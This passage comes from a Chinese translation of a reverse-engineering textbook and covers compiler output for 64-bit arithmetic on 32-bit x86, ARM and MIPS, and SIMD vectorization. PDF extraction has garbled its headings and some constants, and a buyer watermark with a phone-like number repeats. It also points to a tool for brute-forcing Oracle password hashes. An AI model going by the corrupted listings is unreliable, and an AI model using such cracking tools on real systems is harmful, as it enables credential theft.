msort.c:45 #7 __GI_qsort_r (b=b@entry=0xbffff0f8, n=n@entry=10, s=s@entry=4, cmp=cmp@entry=0x804844d < comp>, arg=arg@entry=0x0) at msort.c:297 #8 0xb7e42dcf in __GI_qsort (b=0xbffff0f8, n=10, s=4, cmp=0x804844d <comp>) at msort.c:307 #9 0x0804850d in main () 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2244 章 章 3322 位 位系 系统 统处 处理 理 6644 位 位数 数据 据 32 位系统的通用寄存器GPR都只能容纳 32 位数据,所以这种平台必须把 64 位数据转换为一对 32 位 数据才能进行运算。 ① 24.1 64 位返回值 本节围绕下述程序进行演示。 #include <stdint.h> uint64_t f () { return 0x1234567890ABCDEF; }; 24.1.1 x86 32 位系统用寄存器组合 EDX:EAX 来回传 64 位值。 指令清单 24.1 Optimizing MSVC 2010 _f PROC mov eax, -1867788817 ; 90abcdefH mov edx, 305419896 ; 12345678H ret 0 _f ENDP 24.1.2 ARM ARM 系统用寄存器组合 R0-R1 来回传 64 位值。其中,返回值的高 32 位存储在 R1 寄存器中,低 32 位存储于 R0 寄存器中。 指令清单 24.2 Optimizing Keil 6/2013 (ARM mode) ||f|| PROC LDR r0,|L0.12| LDR r1,|L0.16| BX lr ENDP |L0.12| DCD 0x90abcdef |L0.16| DCD 0x12345678 24.1.3 MIPS MIPS 系统使用 V0-V1($2-$3)寄存器对来回传 64 位值。其中,返回值的高 32 位存储在 V0($2)寄存器 中,低 32 位存储于$V1($3)寄存器中。 ① 16 位系统处理 32 位数据时同样采取了这种拆分数据的处理方法,详情请参见本书 53.4 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 24 章 32 位系统处理 64 位数据 363 指令清单 24.3 Optimizing GCC 4.4.5 (assembly listing) li $3,-1867841536 # 0xffffffff90ab0000 li $2,305397760 # 0x12340000 ori $3,$3,0xcdef j $31 ori $2,$2,0x5678 指令清单 24.4 Optimizing GCC 4.4.5 (IDA) lui $v1, 0x90AB lui $v0, 0x1234 li $v1, 0x90ABCDEF jr $ra li $v0, 0x12345678 24.2 参数传递及加减运算 本节围绕下列程序进行演示。 #include <stdint.h> uint64_t f_add (uint64_t a, uint64_t b) { return a+b; }; void f_add_test () { #ifdef __GNUC__ printf ("%lld\n", f_add(12345678901234, 23456789012345)); #else printf ("%I64d\n", f_add(12345678901234, 23456789012345)); #endif }; uint64_t f_sub (uint64_t a, uint64_t b) { return a-b; }; 24.2.1 x86 使用 MSVC 2012(启用选项/Ox/Ob1)编译上述程序,可得到如下所示的代码。 指令清单 24.5 Optimizing MSVC 2012 /Ob1 _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f_add PROC mov eax, DWORD PTR _a$[esp-4] add eax, DWORD PTR _b$[esp-4] mov edx, DWORD PTR _a$[esp] adc edx, DWORD PTR _b$[esp] ret 0 _f_add ENDP _f_add_test PROC push 5461 ; 00001555H push 1972608889 ; 75939f79H push 2874 ; 00000b3aH 异步社区会员 dearfuture(15918834820) 专享 尊重版权 364 逆向工程权威指南(上册) push 1942892530 ; 73ce2ff_subH call _f_add push edx push eax push OFFSET $SG1436 ; ’%I64d’, 0aH, 00H call _printf add esp, 28 ret 0 _f_add_test ENDP _f_sub PROC mov eax, DWORD PTR _a$[esp-4] sub eax, DWORD PTR _b$[esp-4] mov edx, DWORD PTR _a$[esp] sbb edx, DWORD PTR _b$[esp] ret 0 _f_sub ENDP 在 f1_test()函数中,每个 64 位数据都被拆分为了 2 个 32 位数据。在内存中,高 32 位数据在前(高地 址位),低 32 位在后。 加减法运算的处理方法也完全相同。 在进行加法运算时,先对低 32 位相加。如果产生了进位,则设置 CF 标识位。然后 ADC 指令对高 32 位进行运算。如果此时 CF 标识位的值为 1,则再把高 32 位的运算结果加上 1。 减法运算也是分步进行的。第一次的减法运算可能影响 CF 标识位。第二次减法运算会根据 CF 标识位 把借位代入计算结果。 在 32 位系统中,函数在返回 64 位数据时都使用 EDX:EAX 寄存器对。当 f_add()函数的返回值传递给 printf()函数时,就可以清楚地观测到这一现象。 使用 GCC 4.8.1(启用选项–O1–fno–inline)编译上述程序,可得到如下所示的代码。 指令清单 24.6 GCC 4.8.1 -O1 -fno-inline _f_add: mov eax, DWORD PTR [esp+12] mov edx, DWORD PTR [esp+16] add eax, DWORD PTR [esp+4] adc edx, DWORD PTR [esp+8] ret _f_add_test: sub esp, 28 mov DWORD PTR [esp+8], 1972608889 ; 75939f79H mov DWORD PTR [esp+12], 5461 ; 00001555H mov DWORD PTR [esp], 1942892530 ; 73ce2ff_subH mov DWORD PTR [esp+4], 2874 ; 00000b3aH call _f_add mov DWORD PTR [esp+4], eax mov DWORD PTR [esp+8], edx mov DWORD PTR [esp], OFFSET FLAT:LC0 ; "%lld\12\0" call _printf add esp, 28 ret _f_sub: mov eax, DWORD PTR [esp+4] mov edx, DWORD PTR [esp+8] sub eax, DWORD PTR [esp+12] sbb edx, DWORD PTR [esp+16] ret GCC 的编译结果和 MSVC 的编译结果相同。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 24 章 32 位系统处理 64 位数据 365 24.2.2 ARM 指令清单 24.7 Optimizing Keil 6/2013 (ARM mode) f_add PROC ADDS r0,r0,r2 ADC r1,r1,r3 BX lr ENDP f_sub PROC SUBS r0,r0,r2 SBC r1,r1,r3 BX lr ENDP f_add_test PROC PUSH {r4,lr} LDR r2,|L0.68| ; 0x75939f79 LDR r3,|L0.72| ; 0x00001555 LDR r0,|L0.76| ; 0x73ce2ff2 LDR r1,|L0.80| ; 0x00000b3a BL f_add POP {r4,lr} MOV r2,r0 MOV r3,r1 ADR r0,|L0.84| ; "%I64d\n" B __2printf ENDP |L0.68| DCD 0x75939f79 |L0.72| DCD 0x00001555 |L0.76| DCD 0x73ce2ff2 |L0.80| DCD 0x00000b3a |L0.84| DCB "%I64d\n",0 首个 64 位值被拆分存储到 R0 和 R1 寄存器里,第二个 64 位值则存储于 R2 和 R3 寄存器对。ARM 平 台的指令集里有可进行进位加法运算的 ADC 指令和借位减法运算的 SBC 指令。 需要注意的是:在对 64 位数据的低 32 位数据进行加减运算时,需要使用 ADDS 和 SUBS 指令。指令 名词中的-S 后缀代表该指令会设置进(借)位标识(Carry Flag)。它们设置过的进借位标识将被高 32 位运 算的 ADC/SBC 指令读取并纳入运算结果之中。 没有-S 后缀的 ADD 和 SUB 指令则不会设置借/进位标识位。 24.2.3 MIPS 指令清单 24.8 Optimizing GCC 4.4.5 (IDA) f_add: ; $a0 - high part of a ; $a1 - low part of a ; $a2 - high part of b ; $a3 - low part of b addu $v1, $a3, $a1 ; sum up low parts addu $a0, $a2, $a0 ; sum up high parts ; will carry generated while summing up low parts? ; if yes, set $v0 to 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 366 逆向工程权威指南(上册) sltu $v0, $v1, $a3 jr $ra ; add 1 to high part of result if carry should be generated: addu $v0, $a0 ; branch delay slot ; $v0 - high part of result ; $v1 - low part of result f_sub: ; $a0 - high part of a ; $a1 - low part of a ; $a2 - high part of b ; $a3 - low part of b subu $v1, $a1, $a3 ; subtract low parts subu $v0, $a0, $a2 ; subtract high parts ; will carry generated while subtracting low parts? ; if yes, set $a0 to 1 sltu $a1, $v1 jr $ra ; subtract 1 from high part of result if carry should be generated: subu $v0, $a1 ; branch delay slot ; $v0 - high part of result ; $v1 - low part of result f_add_test: var_10 = -0x10 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) lui $a1, 0x73CE lui $a3, 0x7593 li $a0, 0xB3A li $a3, 0x75939F79 li $a2, 0x1555 jal f_add li $a1, 0x73CE2FF2 lw $gp, 0x20+var_10($sp) lui $a0, ($LC0 >> 16) # "%lld\n" lw $t9, (printf & 0xFFFF)($gp) lw $ra, 0x20+var_4($sp) la $a0, ($LC0 & 0xFFFF) # "%lld\n" move $a3, $v1 move $a2, $v0 jr $t9 addiu $sp, 0x20 $LC0: .ascii "%lld\n"<0> MIPS 处理器没有标识位寄存器。这种平台的加减运算完全不会存储借/进位信息。它的指令集里也没 有 x86 指令集里的那种 ADC 或 SBB 指令。当需要存储借/进位信息时,编译器通常使用 SLTU 指令把有关 信息(也就是 0 或 1)存储在既定寄存器里,继而在下一步的高数权位运算中纳入借进位信息。 24.3 乘法和除法运算 #include <stdint.h> uint64_t f_mul (uint64_t a, uint64_t b) { return a*b; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 24 章 32 位系统处理 64 位数据 367 }; uint64_t f_div (uint64_t a, uint64_t b) { return a/b; }; uint64_t f_rem (uint64_t a, uint64_t b) { return a % b; }; 24.3.1 x86 使用 MSVC 2012(启用选项/Ox/Ob1)编译上述程序,可得到如下所示的代码。 指令清单 24.9 Optimizing MSVC 2012 /Ob1 _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f_mul PROC push ebp mov ebp, esp mov eax, DWORD PTR _b$[ebp+4] push eax mov ecx, DWORD PTR _b$[ebp] push ecx mov edx, DWORD PTR _a$[ebp+4] push edx mov eax, DWORD PTR _a$[ebp] push eax call __allmul ; long long multiplication pop ebp ret 0 _f_mul ENDP _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f_div PROC push ebp mov ebp, esp mov eax, DWORD PTR _b$[ebp+4] push eax mov ecx, DWORD PTR _b$[ebp] push ecx mov edx, DWORD PTR _a$[ebp+4] push edx mov eax, DWORD PTR _a$[ebp] push eax call __aulldiv ; unsigned long long division pop ebp ret 0 _f_div ENDP _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f_rem PROC push ebp mov ebp, esp mov eax, DWORD PTR _b$[ebp+4] push eax mov ecx, DWORD PTR _b$[ebp] push ecx mov edx, DWORD PTR _a$[ebp+4] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 368 逆向工程权威指南(上册) push edx mov eax, DWORD PTR _a$[ebp] push eax call __aullrem ; unsigned long long remainder pop ebp ret 0 _f_rem ENDP 乘除运算复杂很多。所以编译器通常借助标准库函数来处理乘除运算。 如需了解库函数的各种详细信息,请参见附录 E。 使用 GCC 4.8.1(启用选项-O3-fno-inline)编译上述程序,可得到如下所示的代码。 指令清单 24.10 Optimizing GCC 4.8.1 -fno-inline _f_mul: push ebx mov edx, DWORD PTR [esp+8] mov eax, DWORD PTR [esp+16] mov ebx, DWORD PTR [esp+12] mov ecx, DWORD PTR [esp+20] imul ebx, eax imul ecx, edx mul edx add ecx, ebx add edx, ecx pop ebx ret _f_div: sub esp, 28 mov eax, DWORD PTR [esp+40] mov edx, DWORD PTR [esp+44] mov DWORD PTR [esp+8], eax mov eax, DWORD PTR [esp+32] mov DWORD PTR [esp+12], edx mov edx, DWORD PTR [esp+36] mov DWORD PTR [esp], eax mov DWORD PTR [esp+4], edx call ___udivdi3 ; unsigned division add esp, 28 ret _f_rem: sub esp, 28 mov eax, DWORD PTR [esp+40] mov edx, DWORD PTR [esp+44] mov DWORD PTR [esp+8], eax mov eax, DWORD PTR [esp+32] mov DWORD PTR [esp+12], edx mov edx, DWORD PTR [esp+36] mov DWORD PTR [esp], eax mov DWORD PTR [esp+4], edx call ___umoddi3 ; unsigned modulo add esp, 28 ret GCC 把乘法运算进行内部展开处理,大概是它认为这样的效率更高一些。另外它所调用的库函数 的名称也和 MSVC 不同(参见附录 D)。除此之外,这段汇编指令和 MSVC 的编译结果之间几乎没有 区别。 24.3.2 ARM 在编译 Thumb 模式的程序时,Keil 调用库函数进行仿真运算。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 24 章 32 位系统处理 64 位数据 369 指令清单 24.11 Optimizing Keil 6/2013 (Thumb mode) ||f_mul|| PROC PUSH {r4,lr} BL __aeabi_lmul POP {r4,pc} ENDP ||f_div|| PROC PUSH {r4,lr} BL __aeabi_uldivmod POP {r4,pc} ENDP ||f_rem|| PROC PUSH {r4,lr} BL __aeabi_uldivmod MOVS r0,r2 MOVS r1,r3 POP {r4,pc} ENDP 相比之下,在编译 ARM 模式的程序时,Keil 能够直接进行 64 位乘法运算。 指令清单 24.12 Optimizing Keil 6/2013 (ARM mode) ||f_mul|| PROC PUSH {r4,lr} UMULL r12,r4,r0,r2 MLA r1,r2,r1,r4 MLA r1,r0,r3,r1 MOV r0,r12 POP {r4,pc} ENDP ||f_div|| PROC PUSH {r4,lr} BL __aeabi_uldivmod POP {r4,pc} ENDP ||f_rem|| PROC PUSH {r4,lr} BL __aeabi_uldivmod MOV r0,r2 MOV r1,r3 POP {r4,pc} ENDP 24.3.3 MIPS 在启用优化选项的情况下编译 MIPS 程序时,GCC 能够直接使用汇编指令进行 64 位乘法运算。但是 在进行 64 位除法运算时,编译器还是会用库函数进行处理。 指令清单 24.13 Optimizing GCC 4.4.5 (IDA) f_mul: mult $a2, $a1 mflo $v0 or $at, $zero ; NOP or $at, $zero ; NOP mult $a0, $a3 mflo $a0 addu $v0, $a0 or $at, $zero ; NOP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 370 逆向工程权威指南(上册) multu $a3, $a1 mfhi $a2 mflo $v1 jr $ra addu $v0, $a2 f_div: var_10 = -0x10 var_4 =-4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) lw $t9, (__udivdi3 & 0xFFFF)($gp) or $at, $zero jalr $t9 or $at, $zero lw $ra, 0x20+var_4($sp) or $at, $zero jr $ra addiu $sp, 0x20 f_rem: var_10 = -0x10 var_4 =-4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) lw $t9, (__umoddi3 & 0xFFFF)($gp) or $at, $zero jalr $t9 or $at, $zero lw $ra, 0x20+var_4($sp) or $at, $zero jr $ra addiu $sp, 0x20 上述程序中夹杂着大量的 NOP 指令。或许这是因为乘法运算的时间较长,且运算之后需要较长等待时 间的缘故;不过这一观点尚无法证实。 24.4 右移 #include <stdint.h> uint64_t f (uint64_t a) { return a>>7; }; 24.4.1 x86 指令清单 24.14 Optimizing MSVC 2012 /Ob1 _a$ = 8 ; size = 8 _f PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 24 章 32 位系统处理 64 位数据 371 mov eax, DWORD PTR _a$[esp-4] mov edx, DWORD PTR _a$[esp] shrd eax, edx, 7 shr edx, 7 ret 0 _f ENDP 指令清单 24.15 Optimizing GCC 4.8.1 -fno-inline _f: mov edx, DWORD PTR [esp+8] mov eax, DWORD PTR [esp+4] shrd eax, edx, 7 shr edx, 7 ret 位移运算仍然分为 2 步:第一步处理低 32 位数据,第二步处理高 32 位数据。需要注意的是处理低 32 位数据的指令——SHRD 指令。这个指令不仅可以把 EAX 里的低 32 位数据右移 7 位运算,而且还能从 EDX 寄存器里读取高 32 位中的低 7 位、用它填补到低 32 位数据的高位。如此一来,就可直接使用最普通的 SHR 指令对高 32 位进行位移操作,并用零补充位移产生的空位了。 24.4.2 ARM ARM 的指令集比 x86 的小,没有 SHRD 之类的指令。因此,Keil 把它拆分为位移和或运算,以进行 等效处理。 指令清单 24.16 Optimizing Keil 6/2013 (ARM mode) ||f|| PROC LSR r0,r0,#7 ORR r0,r0,r1,LSL #25 LSR r1,r1,#7 BX lr ENDP 指令清单 24.17 Optimizing Keil 6/2013 (Thumb mode) ||f|| PROC LSLS r2,r1,#25 LSRS r0,r0,#7 ORRS r0,r0,r2 LSRS r1,r1,#7 BX lr ENDP 24.4.3 MIPS GCC for MIPS 采用了 Keil for Thumb 的编译手段。 指令清单 24.18 Optimizing GCC 4.4.5 (IDA) f: sll $v0, $a0, 25 srl $v1, $a1, 7 or $v1, $v0, $v1 jr $ra srl $v0, $a0, 7 24.5 32 位数据转换为 64 位数据 #include <stdint.h> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 372 逆向工程权威指南(上册) int64_t f (int32_t a) { return a; }; 24.5.1 x86 指令清单 24.19 Optimizing MSVC 2012 _a$ = 8 _f PROC mov eax, DWORD PTR _a$[esp-4] cdq ret 0 _f ENDP 在这种情况下,我们需要把 32 位有符号数参量扩展为 64 位有符号数。无符号数的转换过程较为直接: 高位设置为 0 就万事大吉。但是对于有符号数来说,最高的一位是符号位,不能一概而论地把高位都填零。 这里使用了 CDQ 指令进行有符号数的格式转换。它把 EAX 的值扩展为 64 位,将结果存储到 EDX:EAX 寄存器对中。换句话说,CDQ 指令获取 EAX 寄存器中的符号位(最高位),并按照符号位的不同把高 32 位都设为 0 或 1。CDQ 指令的作用和 MOVSX 指令相似。 GCC 生成的汇编指令使用了 inlines 乘法运算。其他部分和 MSVC 的编译结果大体相同。 24.5.2 ARM 指令清单 24.20 Optimizing Keil 6/2013 (ARM mode) ||f|| PROC ASR r1,r0,#31 BX lr ENDP Keil for ARM 的编译方法与 MSVC 不同:它把参数向右位移 31 位,只用了算术右移指令。MSB 是符 号位,而算术位移指令会用符号位填补位移产生的空缺位。所以在执行“ASRr1,r0,#31”指令的时候,如 果输入值是负数,那么 R1 就是 0xFFFFFFFF;否则 R1 的值会是零。在生成 64 位值的时候,高 32 位应当 存储在 R1 寄存器里。 换句话说,这个指令用最高数权位填充 R1 寄存器以形成 64 位值的高 32 位。 24.5.3 MIPS GCC for MIPS 的编译方法和 Keil 编译 ARM 程序的方法相同。 指令清单 24.21 Optimizing GCC 4.4.5 (IDA) f: sra $v0, $a0, 31 jr $ra move $v1, $a0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2255 章 章 SSIIM MDD SIMD 意为“单指令流多数据流”,其全称是“Single Instruction, Multiple Data”。顾名思义,这类指令 可以一次处理多个数据。在 x86 的 CPU 里,SIMD 子系统和 FPU 都由专用模块实现。 不久之后,x86 CPU 通过 MMX 指令率先整合了 SIMD 的运算功能。支持这种技术的 CPU 里都有 8 个 64 位寄存器,即 MM0~MM7。每个 MMX 寄存器都是 8 字节寄存器,可以容纳 2 个 32 位数据,或者 4 个 16 位数据。使用 SIMD 指令进行操作数的计算时,它可以把 8 个 8 位数据分为 4 组数据同时运算。 平面图像可视为一种由二维数组构成的数据结构。在美工人员调整图像亮度的时候,图像编辑程序得 对每个像素的亮度系数进行加减法的运算。简单地说,图像的每个像素都有灰度系数,而且灰度系统是 8 位数据(1 个字节)。因而,每执行一个 SIMD 指令就能够同时调整 8 个像素的灰度(即亮度)。为了满足 这种需要,处理器厂商后来专门推出了基于 SIMD 技术的饱和度调整指令。这种饱和度调整指令甚至有越 界保护功能,能够避免亮度调整时可能会产生的因子上溢(overflow)和下溢(underflow)等问题。 在刚刚推出 MMX 技术的时候,SIMD 借用了 FPU 的寄存器(别名)。这有利于 FPU 或 MMX 的混合 运算。有人说 Intel 这样处理是为了节约晶体管,但是其实际原因更为简单:老式操作系统并不会利用新增 的 CPU 寄存器,还是会把数据保存到 FPU 上。所以说,只有同时满足“支持 MMX 技术的 CPU”+“老 式操作系统”+“利用 MMX 指令集的程序”这 3 个条件,才能充分体现 SIMD 的优势。 SSE 技术是 SIMD 的扩展技术,它把 SIMD 寄存器扩展为 128 位寄存器。支持 SSE 技术的 CPU 已经 有了单独的 SIMD 通用寄存器,不再复用 FPU 的寄存器。 AVX 是另外一种 SIMD 技术,它的通用寄存器都是 256 位寄存器。 现在转入正题,看看使用 SIMD 的具体应用。 SIMD 技术当然可用于内存复制(memcpy)和内存比较(memcmp)等用途。 此外它还可用于DES的运算。DES(Data Encryption Standard)是分组对称密码算法。它采用了 64 位 的分组和 56 位的密钥,将 64 位的输入经过一系列变换得到 64 位的输出。如果在电路的与、或、非门和导 线实现DES模块,电路规模将会是非常庞大。基于并行分组密码算法的Bitslice DES ① 25.1 矢量化 应运而生。这种算法 可由单指令并行处理技术/SIMD实现。我们已经知道,x86 平台的unsigned int型数据占用 32 位空间。因此, 在进行unsigned int型数据的 64 位数据和 56 位密钥的演算时,可以以把 64 位中间运算结果和运算密钥都分 为 2 个 32 位数据,再进行分步的并行处理。 在 Oracle 存储密码和 hash 的算法就是 DES。为了进行有关演示,您还可以研究一下暴力破解 Oracle RDBMS 密码和 hash 的小程序。这个程序利用了 bitslice DES 算法,针对 SSE2 和 AVX 指令集进行了优 化。对其稍加修改,则可用于 128 位/256 位消息模块的并行加密运算。如需查看这个程序的源代码,请参 阅 http://conus.info/utils/ops_SIMD/。 矢量化 ② ① 请参见 http://www.darkside.com.au/bitslice/。 ② Vectorization,又称“向量化”。请参见 http://en.wikipedia.org/wiki/Vectorization_(computer_science)。 泛指将多个标量数组计算为(转换成)一个矢量数组的技术。进行这种计算时,循环体从输 入数组中取值,进行某种运算后生成最终数组。这种算法只对数组中的单个元素进行一次运算。“(并行) 矢量化技术”是矢量化处理的并行计算技术。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 374 逆向工程权威指南(上册) 矢量化并不是最近才出现的技术。本书的作者在 1998 年的 Cray Y-MP 超级计算机系列产品中就见到过“Cray Y-MP EL”的羽量级 lite 版本。有兴趣的读者可以去他们在线超级计算机博物馆去看看:http://www.cray-cyber.org/。 举例来说,下述循环就采用了矢量化技术: for (i = 0; i < 1024; i++) { C[i] = A[i]*B[i]; } 上述代码从数组 A 和数组 B 取值,把这两个数组元素进行乘法运算,并把求得的积存储在数组 C 里。 如果输入数组中的每个元素都是 32 位 int 型数据,那么就可以把 A 的四个元素放在 128 位的 MMX 寄 存器中,再把数组 B 的四个元素放在另一个 MMX 寄存器里,然后通过 PMULLD(Multiply Packed Signed Dword Integers and Store Low Result)和 PMULHW(Multiply Packed Signed Integers and Store High Result) 指令进行并行乘法运算。这可以一次获得 4 个 64 位的积。 这样一来,循环体的执行次数不再是 1024,而是 1024/4。换句话说,程序的性能将提高 4 倍。 某些编译器具有简单的矢量化自动优化功能。Intel C++编译器就有这样的智能优化功能,详情请参见 http://www.intel.com/intelpress/sum_vmmx.htm。 25.1.1 用于加法计算 本节将使用下述程序作为编译对象。 int f (int sz, int *ar1, int *ar2, int *ar3) { for (int i=0; i<sz; i++) ar3[i]=ar1[i]+ar2[i]; return 0; }; Intel C++ 我们通过下述指令用 win32 版本的 Intel C++编译器编译上述代码: icl intel.cpp /QaxSSE2 /Faintel.asm /Ox 利用 IDA 打开上面生成的可执行文件,可看到: ; int __cdecl f(int, int *, int *, int *) public ?f@@YAHHPAH00@Z ?f@@YAHHPAH00@Z proc near var_10 = dword ptr -10h sz = dword ptr 4 ar1 = dword ptr 8 ar2 = dword ptr 0Ch ar3 = dword ptr 10h push edi push esi push ebx push esi mov edx, [esp+10h+sz] test edx, edx jle loc_15B mov eax, [esp+10h+ar3] cmp edx, 6 jle loc_143 cmp eax, [esp+10h+ar2] jbe short loc_36 mov esi, [esp+10h+ar2] sub esi, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 375 lea ecx, ds:0[edx*4] neg esi cmp ecx, esi jbe short loc_55 loc_36: ; CODE XREF: f(int,int *,int *,int *)+21 cmp eax, [esp+10h+ar2] jnb loc_143 mov esi, [esp+10h+ar2] sub esi, eax lea ecx, ds:0[edx*4] cmp esi, ecx jb loc_143 loc_55: ; CODE XREF: f(int,int *,int *,int *)+34 cmp eax, [esp+10h+ar1] jbe short loc_67 mov esi, [esp+10h+ar1] sub esi, eax neg esi cmp ecx, esi jbe short loc_7F loc_67: ; CODE XREF: f(int,int *,int *,int *)+59 cmp eax, [esp+10h+ar1] jnb loc_143 mov esi, [esp+10h+ar1] sub esi, eax cmp esi, ecx jb loc_143 loc_7F: ; CODE XREF: f(int,int *,int *,int *)+65 mov edi, eax ;edi = ar3 and edi, 0Fh ; is ar3 16-byte aligned? jz short loc_9A ; yes test edi, 3 jnz loc_162 neg edi add edi, 10h shr edi, 2 loc_9A: ; CODE XREF: f(int,int *,int *,int *)+84 lea ecx, [edi+4] cmp edx, ecx jl loc_162 mov ecx, edx sub ecx, edi and ecx, 3 neg ecx add ecx, edx test edi, edi jbe short loc_D6 mov ebx, [esp+10h+ar2] mov [esp+10h+var_10], ecx mov ecx, [esp+10h+ar1] xor esi, esi loc_C1: ; CODE XREF: f(int,int *,int *,int *)+CD mov edx, [ecx+esi*4] add edx, [ebx+esi*4] mov [eax+esi*4], edx inc esi cmp esi, edi jb short loc_C1 mov ecx, [esp+10h+var_10] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 376 逆向工程权威指南(上册) mov edx, [esp+10h+sz] loc_D6: ; CODE XREF: f(int,int *,int *,int *)+B2 mov esi, [esp+10h+ar2] lea esi, [esi+edi*4] ; is ar2+i*4 16-byte aligned? test esi, 0Fh jz short loc_109 ; yes! mov ebx, [esp+10h+ar1] mov esi, [esp+10h+ar2] loc_ED: ; CODE XREF: f(int,int *,int *,int *)+105 movdqu xmm1, xmmword ptr [ebx+edi*4] movdqu xmm0, xmmword ptr [esi+edi*4] ; ar2+i*4 is not 16-byte aligned, so load it to XMM0 paddd xmm1, xmm0 movdqa xmmword ptr [eax+edi*4], xmm1 add edi, 4 cmp edi, ecx jb short loc_ED jmp short loc_127 loc_109: ; CODE XREF: f(int,int *,int *,int *)+E3 mov ebx, [esp+10h+ar1] mov esi, [esp+10h+ar2] loc_111: ; CODE XREF: f(int,int *,int *,int *)+125 movdqu xmm0, xmmword ptr [ebx+edi*4] paddd xmm0, xmmword ptr [esi+edi*4] movdqa xmmword ptr [eax+edi*4], xmm0 add edi, 4 cmp edi, ecx jb short loc_111 loc_127: ; CODE XREF: f(int,int *,int *,int *)+107 ; f(int,int *,int *,int *)+164 cmp ecx, edx jnb short loc_15B mov esi, [esp+10h+ar1] mov edi, [esp+10h+ar2] loc_133: ; CODE XREF: f(int,int *,int *,int *)+13F mov ebx, [esi+ecx*4] add ebx, [edi+ecx*4] mov [eax+ecx*4], ebx inc ecx cmp ecx, edx jb short loc_133 jmp short loc_15B loc_143: ; CODE XREF: f(int,int *,int *,int *)+17 ; f(int,int *,int *,int *)+3A ... mov esi, [esp+10h+ar1] mov edi, [esp+10h+ar2] xor ecx, ecx loc_14D: ; CODE XREF: f(int,int *,int *,int *)+159 mov ebx, [esi+ecx*4] add ebx, [edi+ecx*4] mov [eax+ecx*4], ebx inc ecx cmp ecx, edx jb short loc_14D loc_15B: ; CODE XREF: f(int,int *,int *,int *)+A ; f(int,int *,int *,int *)+129 ... xor eax, eax pop ecx pop ebx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 377 pop esi pop edi retn loc_162: ; CODE XREF: f(int,int *,int *,int *)+8C ; f(int,int *,int *,int *)+9F xor ecx, ecx jmp short loc_127 ?f@@YAHHPAH00@Z endp 其中,与 SSE2 有关的指令有:  MOVDQU(Move Unaligned Double Quadword)是从内存加载16 字节数据,并复制到XMM 寄存器的指令。  PADDD(Add Packed Integers)是对 4 对 32 位数进行加法运算,并把运算结果存储到第一个操作符的 指令。此外,该指令不会设置任何标志位,在溢出时只保留运算结果的低 32 位,也不会报错。如果 PADDD的某个操作数是内存中的某个值,那么这个值的地址必须与 16 字节边界对齐,否则将报错。 ① GCC  MOVDQA(Move Aligned Double Quadword)的功能 MOVDQU 相同,只是要求存储操作数的内 存地址必须向 16 字节边界对齐,否则报错。除了这点区别之外,两个指令完全相同。此外, MOVDQA 的运行速度要比 MOVDQU 快。 所以上述 SSE2 指令的运行条件有 2 个:需要进行加法处理的操作数至少有 4 对;指针 ar3 的地址已经 向 16 字节边界对齐。 而且,如果 ar2 的地址也向 16 字节边界对齐,则会执行下述指令: movdqu xmm0, xmmword ptr [ebx+edi*4] ; ar1+i*4 paddd xmm0, xmmword ptr [esi+edi*4] ; ar2+i*4 movdqa xmmword ptr [eax+edi*4], xmm0 ; ar3+i*4 另外,MOVDQU 指令会把 ar2 的值加载到 XMM0 寄存器。虽然这条指令不要求指针地址对齐,但是 性能略微慢些: movdqu xmm1, xmmword ptr [ebx+edi*4] ; ar1+i*4 movdqu xmm0, xmmword ptr [esi+edi*4] ; ar2+i*4 is not 16-byte aligned, so load it to xmm0 paddd xmm1, xmm0 movdqa xmmword ptr [eax+edi*4], xmm1 ; ar3+i*4 其他代码没有涉及与 SSE2 有关的指令。 在指定-O3 选项并且启用SSE2 支持(-msse2 选项)的情况下,GCC编译器也能够进行简单的矢量化智 能处理。 ② ① 有关地址对齐的详细信息,请参见:http://en.wikipedia.org/wiki/Data_structure_alignment。 ② https://gcc.gnu.org/projects/tree-ssa/vectorization.html。 我们使用 GCC 4.4.1 编译上述程序,可得到: ; f(int, int *, int *, int *) public _Z1fiPiS_S_ _Z1fiPiS_S_ proc near var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 378 逆向工程权威指南(上册) push edi push esi push ebx sub esp, 0Ch mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] mov ebx, [ebp+arg_C] test ecx, ecx jle short loc_80484D8 cmp ecx, 6 lea eax, [ebx+10h] ja short loc_80484E8 loc_80484C1: ; CODE XREF: f(int,int *,int *,int *)+4B ; f(int,int *,int *,int *)+61 ... xor eax, eax nop lea esi, [esi+0] loc_80484C8: ; CODE XREF: f(int,int *,int *,int *)+36 mov edx, [edi+eax*4] add edx, [esi+eax*4] mov [ebx+eax*4], edx add eax, 1 cmp eax, ecx jnz short loc_80484C8 loc_80484D8: ; CODE XREF: f(int,int *,int *,int *)+17 ; f(int,int *,int *,int *)+A5 add esp, 0Ch xor 